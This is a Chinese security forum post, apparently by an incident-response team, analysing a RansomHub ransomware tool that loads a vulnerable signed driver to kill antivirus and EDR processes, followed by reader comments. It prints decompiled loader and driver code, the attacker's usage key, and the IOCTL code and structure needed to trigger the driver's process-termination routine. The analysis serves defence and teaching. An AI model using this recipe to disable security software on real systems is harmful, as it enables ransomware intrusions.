solar应急响应 发表于 2024-12-12 17:44

【攻击手法分析】勒索病毒如何轻松绕过安全设备防线:第一篇-驱动漏洞一击致命

本帖最后由 solar应急响应 于 2024-12-12 17:57 编辑

***引言:在之前的文章***【成功案例】lockbit家族百万赎金不必付!技术手段修复被加密的数据库,附溯源分析报告]***中,我们提到,尽管许多企业已经部署了众多安全设备和备份解决方案,并建立了相对成熟的安全运营体系,但在如此复杂的网络环境中,依然存在漏洞,导致黑客成功发起勒索加密攻击,最终造成业务瘫痪。通过对加密样本的提取和分析,我们识别出黑客使用了一些隐蔽的攻击手法,如Killav和致盲等,这些技术成功绕过了现有的安全防护,未能及时被检测到。本篇文章将深入解析黑客如何利用漏洞驱动Kill AV攻击的全流程,下一篇则将讨论如何配合驱动进行流量致盲,从而使部署的EDR无感地执行加密,导致机器被加密,敬请期待!***


模拟客户网络拓扑环境

# 1.背景

## 1.1家族介绍

关于RansomHub家族信息详情可参考本篇文章[【病毒分析】Ransomhub加密器样本-EXSI ]

## 1.2防病毒软件(AV)测试结果

通过技术手段捕获RansomHub家族的killAV程序后,我们第一时间对国内外主流的防病毒软件(AV)和终端检测与响应(EDR)系统进行了测试,发现该程序能够成功地强制关闭绝大部分杀毒软件的防护功能,意味着它具备了强大的绕过防护机制的能力。具体测试结果如下:

| 杀软      | 结果   | 测试截图                                                   | 公司及产品介绍                                             |
| ----------- | -------- | ------------------------------------------------------------ | ------------------------------------------------------------ |
| Sophos home | 成功kill || **Sophos** 是一家全球领先的网络安全公司,总部位于英国牛津,成立于1985年。Sophos专注于提供企业级的安全解决方案,主要包括防病毒、防恶意软件、端点安全、加密、网络防火墙、入侵防御、邮件安全等产品。Sophos以其创新的安全技术、强大的威胁检测能力和简便的管理界面,在全球企业用户中具有广泛的影响力。**Sophos Home 防病毒软件** 是一款专为家庭用户设计的网络安全工具,旨在提供企业级防护,帮助用户抵御各种网络威胁,包括病毒、勒索病毒、恶意软件等。Sophos Home结合了Sophos公司多年在企业级安全领域的经验,涵盖端点保护、勒索病毒防护等功能,并提供强大的云端防护技术。 |
| eset      | 成功kill | ! | **ESET**是一家总部位于斯洛伐克的全球领先网络安全公司,成立于1987年。ESET专注于提供创新的网络安全解决方案,涵盖个人和企业的防病毒、防恶意软件、反间谍软件等产品。ESET凭借其高度准确的威胁检测技术和全球覆盖的支持服务,已成为网络安全领域的知名品牌,提供了多种防护解决方案,帮助用户防范网络攻击、病毒、恶意软件及其他数字威胁**ESET 防病毒软件** 以其高效的病毒检测、低资源消耗和简便的用户体验而广受欢迎。具备勒索病毒防护、反钓鱼保护、Web和网络保护等功能,ESET的防病毒软件适用于家庭用户和企业用户,提供多层次的保护,确保用户的设备免受各种网络安全威胁。 |
| 某二字杀软| 成功kill | ! | 国内某安全厂商主流防病毒软件                                 |
| 某二字edr   | 成功kill || 国内某安全厂商主流防病毒软件                                 |
| 某三字edr   | 成功kill | | 国内某安全厂商主流防病毒软件                                 |
| 某三字edr   | 成功kill || 国内某安全厂商主流防病毒软件                                 |

这也解释了为何在许多应急响应案例中,尽管客户部署了多种安全设备,勒索软件仍能够成功突破终端防护的原因之一。

# 2.对抗AV样本分析

这个包含一个加密后的文件以及一个用于解密此文件并将其加载的加载器


以及一个使用说明如下

```C
* Must have administrator privileges
* Don't leak the pass
* Version: 2.0.4
* Must have Data.bin

Having two run modes:

1. Loader.exe -key 5cfffed3584645c1f5b53f9ebb20424a823a2888a161935f184aa1794777edda
2. Loader.exe and input 5cfffed3584645c1f5b53f9ebb20424a823a2888a161935f184aa1794777edda
3. Loader.exe -key 5cfffed3584645c1f5b53f9ebb20424a823a2888a161935f184aa1794777edda
4. Loader.exe -list av.txt and input 5cfffed3584645c1f5b53f9ebb20424a823a2888a161935f184aa1794777edda

07/07
* Byass AV

06/07
* Byass AV

05/15
* Byass AV
* some AV

05/08
* add BitDefender

05/06
* add Trend Micro Deep Security

05/05
* add Trend Micro
* fix some bug
```

## 2.1程序流程

该程序执行流程如下,通过BYOVD利用漏洞驱动对杀软进行强关


## 2.2逆向分析

拖入die中发现他是由c++编写的程序。


首先读取key

```C
   memset(v15, 0, sizeof(v15));
    printf("key:\n");
    scanf("%s", v15);
```

然后通过key对bin进行解密,首先对文件继续

```C
FileW = CreateFileW(L"Data.bin", 0x80000000, 0, 0i64, 3u, 0x80u, 0i64);
v6 = FileW;
if ( FileW == (HANDLE)-1i64 )
    return 0i64;
if ( !GetFileSizeEx(FileW, &FileSize) || !FileSize.QuadPart )
{
    CloseHandle(v6);
    return 0i64;
}
v7 = (char *)VirtualAlloc(0i64, FileSize.QuadPart, 0x1000u, 0x40u);
for ( i = 0; ReadFile(v6, Buffer, 0x800u, &NumberOfBytesRead, 0i64); i += v9 )
{
    v9 = NumberOfBytesRead;
    if ( !NumberOfBytesRead )
      break;
    v10 = Buffer;
    v11 = &v7;
    v12 = (unsigned __int64)NumberOfBytesRead >> 3;
    v13 = NumberOfBytesRead;
    if ( v12 )
    {
      do
      {
      v14 = *(_QWORD *)v10;
      v10 += 8;
      *(_QWORD *)v11 = v14;
      v11 += 8;
      --v12;
      }
      while ( v12 );
      v9 = NumberOfBytesRead;
    }
    v15 = v13 & 7;
    if ( (_DWORD)v15 )
    {
      v16 = v11 - v10;
      do
      {
      v10 = *v10;
      ++v10;
      --v15;
      }
      while ( v15 );
      v9 = NumberOfBytesRead;
    }
}
CloseHandle(v6);
pdwDataLen = FileSize.LowPart;
if ( CryptAcquireContextW(&phProv, 0i64, 0i64, 0x18u, 0xF0000000)
    && CryptCreateHash(phProv, 0x800Cu, 0i64, 0, &phHash)
    && CryptHashData(phHash, a2, a3, 0)
    && CryptDeriveKey(phProv, 0x6610u, phHash, 0, &phKey)
    && CryptDecrypt(phKey, 0i64, 1, 0, (BYTE *)v7, &pdwDataLen) )
{
    CryptReleaseContext(phProv, 0);
    CryptDestroyHash(phHash);
    CryptDestroyKey(phKey);
    Sleep(3u);
    return v7;
}
else
{
    free(v7);
    return 0i64;
}
}
```

具体解密流程如下:

1.**获取加密上下文**:通过 `CryptAcquireContextW` 获取加密服务提供者的上下文。

2.**创建哈希对象**:通过 `CryptCreateHash` 创建一个 SHA-1 哈希对象。

3.**计算数据的哈希值**:通过 `CryptHashData` 计算给定数据的哈希值。

4.**派生密钥**:通过 `CryptDeriveKey` 从哈希值派生一个 RC4 密钥。

5.**解密数据**:使用 `CryptDecrypt` 通过派生的 RC4 密钥解密数据。

6.**清理资源**:通过 `CryptReleaseContext`、`CryptDestroyHash` 和 `CryptDestroyKey` 释放加密服务提供者、哈希对象和密钥的资源。

最后生成一个解密后的shellcode并返回

通过copyFile2 执行回调

```C
   v12 = decode((__int64)v9, (const BYTE *)v4, v10);
    if ( v12 )
    {
      pExtendedParameters.dwSize = 32;
      pExtendedParameters.dwCopyFlags = 1;
      pExtendedParameters.pfCancel = 0i64;
      pExtendedParameters.pProgressRoutine = (PCOPYFILE2_PROGRESS_ROUTINE)v12;
      pExtendedParameters.pvCallbackContext = 0i64;
      DeleteFileW(L"C:\\Windows\\Temp\\backup.log");
      CopyFile2(L"C:\\Windows\\DirectX.log", L"C:\\Windows\\Temp\\backup.log", &pExtendedParameters);
    }
```

通过对createfileA函数下断点,可以发现在`C:\Users\username\AppData\Local\Temp`目录下释放了这个驱动,之后就是加载该驱动并利用此驱动关闭杀软进程

## 2.3驱动分析

驱动利用方法如下



驱动设备名如下

```C
PsGetVersion(&MajorVersion, &MinorVersion, &dword_5C8B0, 0LL);
dword_5C8CC = MinorVersion | (MajorVersion << 8);
if ( (MinorVersion | (MajorVersion << 8)) < 0x500 )
    return -1073741823;
v3 = L"aswSP_Avar";
if ( !byte_5C9D0 )
    v3 = L"avgSP_Avar";
qword_5C8C0 = (__int64)v3;
_snwprintf(&word_5C800, 0x1EuLL, L"\\Device\\%s");
_snwprintf(word_5C960, 0x1EuLL, L"\\DosDevices\\%s", qword_5C8C0);
RtlInitUnicodeString(&DestinationString, &word_5C800);
RtlInitUnicodeString(&SymbolicLinkName, word_5C960);
```

跟踪到需要调用的函数如下,传入pid即可调用ZwTerminateProcess强关杀软

```C
__int64 __fastcall sub_2B418(unsigned int a1)
{
NTSTATUS v1; // eax
unsigned int v2; // ebx
struct _CLIENT_ID ClientId; // BYREF
struct _OBJECT_ATTRIBUTES ObjectAttributes; // BYREF
struct _KAPC_STATE ApcState; // BYREF
PVOID Object; // BYREF
void *ProcessHandle; // BYREF

ClientId.UniqueThread = 0LL;
ObjectAttributes.Length = 48;
memset(&ObjectAttributes.RootDirectory, 0, 20);
ObjectAttributes.SecurityDescriptor = 0LL;
ObjectAttributes.SecurityQualityOfService = 0LL;
ClientId.UniqueProcess = (HANDLE)a1;
KeStackAttachProcess(Process, &ApcState);
v1 = ZwOpenProcess(&ProcessHandle, 1u, &ObjectAttributes, &ClientId);
v2 = v1 == 0;
if ( !v1 )
{
    if ( !ObReferenceObjectByHandle(ProcessHandle, 0, 0LL, 0, &Object, 0LL) )
    {
      switch ( dword_5C8CC )
      {
      case 1281:
          *((_DWORD *)Object + 146) &= ~0x2000u;
          break;
      case 1282:
          *((_DWORD *)Object + 144) &= ~0x2000u;
          break;
      case 1536:
          *((_DWORD *)Object + 138) &= ~0x2000u;
          break;
      case 1537:
          *((_DWORD *)Object + 156) &= ~0x2000u;
          break;
      case 1538:
          *((_DWORD *)Object + 154) &= ~0x2000u;
          break;
      }
      ObfDereferenceObject(Object);
    }
    v2 = ZwTerminateProcess(ProcessHandle, 0);
    ZwClose(ProcessHandle);
}
KeUnstackDetachProcess(&ApcState);
return v2;
}
```

交叉引用到调用该函数的地方,发现通过调用号0x9988C094 调用

```C
    else if ( a6 == 0x9988C094 )
      {
          if ( a3 != 4 || !a2 )
          {
            *a7 = -1073741306;
            return 3221225990LL;
          }
          v44 = sub_2B418(*a2);
          v45 = a7;
          *a7 = v44;
      }
```

其中rdi就是我们传入的结构体,他取了传入的结构体的第一个成员当参数。


因此只要构造一个只有一个成员的结构体即可

```C
#
struct BYOVD_STRUCT {
    pid: DWORD,
}
```

最后,加载驱动之后再向该驱动发送调用号以及构造好的结构体即可调用该驱动强关杀软

# 3.总结

本篇详细介绍了一个RansomHub家族使用工具绕过杀软防护并加载恶意驱动的全流程。程序通过BYOVD(Bring Your Own Vulnerable Driver)技术利用漏洞驱动,强制终止安全软件进程。解密过程首先通过提供的密钥解密文件,并通过RC4算法对数据进行解密,最终生成恶意shellcode。恶意驱动利用系统漏洞加载后,程序通过构造特定的结构体,调用驱动程序中的 `ZwTerminateProcess` 函数,强制终止指定进程(如杀软)。该程序的关键技术包括加密解密过程、驱动加载与执行以及杀软绕过技术,通过操控系统的低级接口和系统调用,达到禁用安全软件的目的。

本系列将继续揭示勒索家族绕过或突破安全防护设备,窃取数据并实施勒索服务的技术手法,旨在帮助大家识别攻击手段,从而进行针对性的防御优化,敬请期待下篇文章!

solar应急响应 发表于 2024-12-13 11:41

MIAIONE 发表于 2024-12-12 19:23
为什么加载驱动这么敏感的情况杀软不应该确认吗? 尤其是正常运行情况下, EDR更是没有理由随意在任何时间加 ...

您好。 一般情况下大部分杀软对于驱动的监控只有黑名单机制,对文件进行静态扫描,判断文件为黑驱动就直接拦截,也有少部分杀软会对驱动加载的行为进行拦截,比如360的核晶模式。但是由于国内大部分软件也会加载驱动,比如游戏的反作弊系统就是通过加载驱动与外挂进行对抗的,这方面并不好进行判断,同时还有以下几个原因
性能影响:在驱动层进行监控和对抗会消耗大量系统资源,可能会影响系统性能,导致用户体验下降。
实时性要求:驱动层的操作要求实时性,任何延迟或错误判断都可能导致严重后果。
合法驱动:一般能被动态加载的驱动都具有合法的签名,杀毒软件必须区分这些合法驱动和恶意驱动。这需要维护一个庞大的白名单数据库,并实时更新。
系统稳定性:内核模式下的错误会导致整个操作系统崩溃(蓝屏)。因此,杀毒软件必须非常谨慎,确保不会干扰系统的正常运行。

Ok166 发表于 2024-12-12 18:15

谢谢大佬讲解

MIAIONE 发表于 2024-12-12 19:23

为什么加载驱动这么敏感的情况杀软不应该确认吗? 尤其是正常运行情况下, EDR更是没有理由随意在任何时间加载驱动, 一般打完驱动后, 除安全软件/反作弊引擎/安装向日葵远控软件等情况, 动态加载的驱动是完全不需要也不可能加载的, 直接判定异常不就行了, 或者提醒用户, 总不能啥都没事直接给放了吧

906 发表于 2024-12-12 20:26

病毒魔高一尺,大佬道高一丈,这复杂程度感觉有点像网络攻防战{:1_921:}

pomxion 发表于 2024-12-12 21:04

jiang8888 发表于 2024-12-13 08:21

谢谢大佬讲解

Dmark 发表于 2024-12-13 09:59

都不走传统系统流程,直接走内核模式驱动,只能希望各电脑厂商能把自己的内核驱动多更新好,防止BYOVD.
个人电脑一般都是超级管理员目,这就希望电脑品牌顶住了

binghe01 发表于 2024-12-13 10:51

感谢师傅的分享,学到了师傅

tianliqing 发表于 2024-12-13 16:20

感谢分享,学到了{:1_893:}{:1_893:}{:1_893:}
页: [1] 2
查看完整版本: 【攻击手法分析】勒索病毒如何轻松绕过安全设备防线:第一篇-驱动漏洞一击致命